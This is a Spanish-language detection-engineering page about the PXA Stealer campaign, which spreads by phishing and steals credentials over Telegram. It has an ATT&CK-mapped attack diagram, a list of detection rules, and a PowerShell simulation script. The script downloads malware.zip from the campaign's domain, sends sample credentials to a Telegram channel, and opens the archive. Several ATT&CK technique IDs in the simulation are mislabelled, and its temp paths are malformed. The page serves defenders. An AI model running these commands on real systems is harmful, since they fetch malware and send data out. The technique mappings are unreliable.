Del Phishing a la Exfiltración: Un Análisis Profundo de PXA Stealer
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
El informe describe un fuerte aumento en la actividad de PXA Stealer dirigida a organizaciones financieras a principios de 2026. Los actores de amenazas distribuyen archivos ZIP maliciosos a través de correos electrónicos de phishing y dependen de una cadena de infección de múltiples etapas que abusa de herramientas legítimas del sistema y un intérprete de Python renombrado. Una vez activo, el malware roba credenciales de navegadores, contraseñas guardadas y datos de billeteras de criptomonedas, luego exfiltra la información recopilada a través de Telegram. La campaña destaca cómo los operadores han ajustado su oficio tras interrupciones previas en otros ecosistemas de infostealer.
Investigación
Investigadores de CyberProof reconstruyeron la cadena de ataque completa, comenzando con un correo electrónico de phishing que entregó un archivo Pumaproject.zip malicioso y terminando con exfiltraciones basadas en Telegram. Su análisis identificó el abuso de Certutil para decodificación, una copia de WinRAR disfrazada como picture.png para la extracción, una carpeta Dots oculta, y un intérprete de Python renombrado svchost.exe utilizado para lanzar un script ofuscado vinculado a un identificador de bot. La persistencia se mantiene mediante una entrada en el registro.
Mitigación
Los defensores deben identificar archivos adjuntos de archivo sospechosos, monitorear la ejecución de scripts y los LOLBins conocidos desde ubicaciones inesperadas, y bloquear el tráfico saliente a Telegram y TLDs inusuales como .shop and .xyz. Los equipos de seguridad también deben fortalecer las pasarelas de correo electrónico y aplicar controles estrictos de ejecución a archivos de Office y contenido basado en scripts.
Respuesta
Cuando se detecta PXA Stealer, aísle el host afectado, capture evidencia volátil y busque los artefactos de archivo y modificaciones del registro referenciados. Elimine archivos maliciosos, termine procesos afectados y restablezca cualquier credencial expuesta. Los equipos deben luego realizar una búsqueda de amenazas más amplia para encontrar indicadores coincidentes en todo el entorno y notificar a las partes interesadas relevantes.
graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#ffeb99 classDef process fill:#ffcc99 classDef persistence fill:#c2f0c2 classDef exfil fill:#f4c2c2 %% Node definitions action_phishing[«<b>Action</b> – <b>T1566.001 Phishing: Spearphishing Attachment</b><br/>Description: Email with malicious ZIP (Pumaproject.zip) containing Document.docx.exe.»] class action_phishing action file_zip[«<b>File</b> – Pumaproject.zip<br/><b>Contains</b>: Document.docx.exe»] class file_zip file action_user_exec[«<b>Action</b> – <b>T1204.002 User Execution: Malicious File</b><br/>Description: Victim opens the attached executable.»] class action_user_exec action process_malicious_exe[«<b>Process</b> – Document.docx.exe»] class process_malicious_exe process action_execution_hijack[«<b>Action</b> – <b>T1574 Hijack Execution Flow</b><br/>Description: Launches inter.cmd and uses certutil to decode payload from Shodan.pdf.»] class action_execution_hijack action process_inter_cmd[«<b>Process</b> – inter.cmd»] class process_inter_cmd process tool_certutil[«<b>Tool</b> – certutil.exe<br/><b>Purpose</b>: Decode base64 content»] class tool_certutil tool file_shodan_pdf[«<b>File</b> – Shodan.pdf<br/><b>Contains</b>: Base64 encoded payload»] class file_shodan_pdf file action_defense_embedded[«<b>Action</b> – <b>T1027.009 Embedded Payloads</b><br/>Description: Payload hidden inside PDF file.»] class action_defense_embedded action action_decode[«<b>Action</b> – <b>T1140 Deobfuscate/Decode Files or Information</b><br/>Description: certutil decodes the payload.»] class action_decode action action_hidden_dir[«<b>Action</b> – <b>T1564.001 Hidden Files and Directories</b><br/>Description: Malware creates hidden folder «Dots» for intermediate files.»] class action_hidden_dir action file_hidden_dir[«<b>File</b> – Dots (hidden directory)»] class file_hidden_dir file action_relocate[«<b>Action</b> – <b>T1070.010 Indicator Removal: Relocate Malware</b><br/>Description: Moves malicious files into hidden «Dots» directory.»] class action_relocate action action_compression[«<b>Action</b> – <b>T1027.015 Compression</b><br/>Description: WinRAR disguised as picture.png extracts password‑protected archive (password shodan2201).»] class action_compression action tool_winar[«<b>Tool</b> – WinRAR (renamed picture.png)»] class tool_winar tool file_archive[«<b>File</b> – Password protected archive (shodan2201)»] class file_archive file action_rc_script[«<b>Action</b> – <b>T1037.004 RC Scripts</b><br/>Description: Portable Python dropped, renamed to svchost.exe and executed with $BOT_ID argument.»] class action_rc_script action process_svc_host[«<b>Process</b> – svchost.exe (malicious Python interpreter)»] class process_svc_host process action_active_setup[«<b>Action</b> – <b>T1547.014 Active Setup</b><br/>Description: Registry entry added to run svchost.exe at startup.»] class action_active_setup action action_com_hijack[«<b>Action</b> – <b>T1546.015 COM Hijacking</b><br/>Description: COM hijacking registry entry created for automatic execution.»] class action_com_hijack action action_cred_browser[«<b>Action</b> – <b>T1555.003 Credentials from Web Browsers</b><br/>Description: Injects into browsers to steal passwords, cookies, crypto wallet data.»] class action_cred_browser action action_cred_cookies[«<b>Action</b> – <b>T1539 Steal Web Session Cookie</b><br/>Description: Extracts web session cookies for reuse.»] class action_cred_cookies action action_keylogging[«<b>Action</b> – <b>T1056.001 Input Capture: Keylogging</b><br/>Description: Captures keystrokes from the user.»] class action_keylogging action action_exfil_telegram[«<b>Action</b> – <b>T1567 Exfiltration Over Web Service</b><br/>Description: Sends collected data to attacker‑controlled Telegram channels.»] class action_exfil_telegram exfil action_exfil_c2[«<b>Action</b> – <b>T1041 Exfiltration Over C2 Channel</b><br/>Description: Uses Telegram as C2 and exfiltration channel.»] class action_exfil_c2 exfil %% Connections action_phishing –>|delivers| file_zip file_zip –>|executes| action_user_exec action_user_exec –>|runs| process_malicious_exe process_malicious_exe –>|launches| action_execution_hijack action_execution_hijack –>|spawns| process_inter_cmd process_inter_cmd –>|uses| tool_certutil tool_certutil –>|decodes| file_shodan_pdf file_shodan_pdf –>|contains| action_defense_embedded action_defense_embedded –>|triggers| action_decode action_decode –>|creates| action_hidden_dir action_hidden_dir –>|creates| file_hidden_dir action_hidden_dir –>|stores| action_relocate action_relocate –>|moves files to| file_hidden_dir action_relocate –>|leads to| action_compression action_compression –>|uses| tool_winar tool_winar –>|extracts| file_archive file_archive –>|provides| action_rc_script action_rc_script –>|executes| process_svc_host process_svc_host –>|establishes| action_active_setup process_svc_host –>|establishes| action_com_hijack process_svc_host –>|enables| action_cred_browser process_svc_host –>|enables| action_cred_cookies process_svc_host –>|enables| action_keylogging action_keylogging –>|feeds data to| action_exfil_telegram action_cred_browser –>|feeds data to| action_exfil_telegram action_cred_cookies –>|feeds data to| action_exfil_telegram action_exfil_telegram –>|uses channel| action_exfil_c2
Flujo de Ataque
Detecciones
Ejecución de Procesos del Sistema desde Rutas Atípicas (vía process_creation)
Ver
Comando y Control Sospechoso por Solicitud de DNS de Dominio de Nivel Superior (TLD) Inusual (vía dns)
Ver
Ejecución Sospechosa desde Perfil de Usuario Público (vía process_creation)
Ver
Extensión Inusual de Binario Ejecutable (vía process_creation)
Ver
Archivos Sospechosos en Perfil de Usuario Público (vía file_event)
Ver
Uso de Certutil para Codificación de Datos y Operaciones de Certificado (vía cmdline)
Ver
COIs (HashMd5) para detectar: Desde Phishing hasta Exfiltración: Un Análisis en Profundidad del PXA Stealer Parte 2
Ver
COIs (DestinationIP) para detectar: Desde Phishing hasta Exfiltración: Un Análisis en Profundidad del PXA Stealer
Ver
COIs (HashMd5) para detectar: Desde Phishing hasta Exfiltración: Un Análisis en Profundidad del PXA Stealer Parte 1
Ver
COIs (SourceIP) para detectar: Desde Phishing hasta Exfiltración: Un Análisis en Profundidad del PXA Stealer
Ver
COIs (HashSha256) para detectar: Desde Phishing hasta Exfiltración: Un Análisis en Profundidad del PXA Stealer
Ver
Detección de Actividades de Ejecución de PXA Stealer [Creación de Procesos de Windows]
Ver
Detectar Conexiones Salientes de PXA Stealer [Conexión de Red de Windows]
Ver
Ejecución de Simulación
Prerequisito: El Chequeo de Pre‑vuelo de Telemetría y Línea Base debe haber pasado.
Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente las TTP identificadas y apuntan a generar la telemetría exacta esperada por la lógica de detección.
-
Narrativa del Ataque y Comandos:
El actor de amenaza despliega el PXA Stealer en un host de Windows comprometido. Después de que el usuario sin darse cuenta ejecuta el binario malicioso inicial (T1204.002), el stealer ejecuta un fragmento de PowerShell que:-
Descarga un ZIP malicioso desde el dominio codificado
downloadtheproject.xyz(T1202 – ejecución de comando indirecto). -
Exfiltra los datos recopilados publicando un mensaje en un canal de Telegram a través de
t.me(T1559.002 – enlace de phishing). - Opcionalmente carga un componente COM malicioso para lograr persistencia (T1127.002).
Ambas solicitudes GET de salida generan los campos
DestinationDomainque la regla Sigma observa, provocando una alerta. -
Descarga un ZIP malicioso desde el dominio codificado
-
Script de Prueba de Regresión:
# Simulación de PXA Stealer – activa la regla de detección $tmpZip = "$env:TEMPpayload.zip" $tmpMsg = "$env:TEMPsteal.txt" # 1. Descargar ZIP malicioso desde el primer dominio malicioso Invoke-WebRequest -Uri "https://downloadtheproject.xyz/malware.zip" -OutFile $tmpZip -UseBasicParsing # 2. Simular exfiltración de datos a través de enlace de Telegram $payload = "Credenciales de usuario: admin / Pass123!" Set-Content -Path $tmpMsg -Value $payload -Encoding ASCII Invoke-WebRequest -Uri "https://t.me/stealchannel?text=$( [uri]::EscapeDataString($payload) )" -UseBasicParsing # 3. (Opcional) Cargar un objeto COM ficticio para emular T1127.002 try { $com = New-Object -ComObject "Shell.Application" $com.ShellExecute($tmpZip, "", "", "open", 0) | Out-Null } catch { # Ignorar errores – esto es solo para telemetría } -
Comandos de Limpieza:
# Eliminar artefactos creados por la simulación Remove-Item -Path $tmpZip -Force -ErrorAction SilentlyContinue Remove-Item -Path $tmpMsg -Force -ErrorAction SilentlyContinue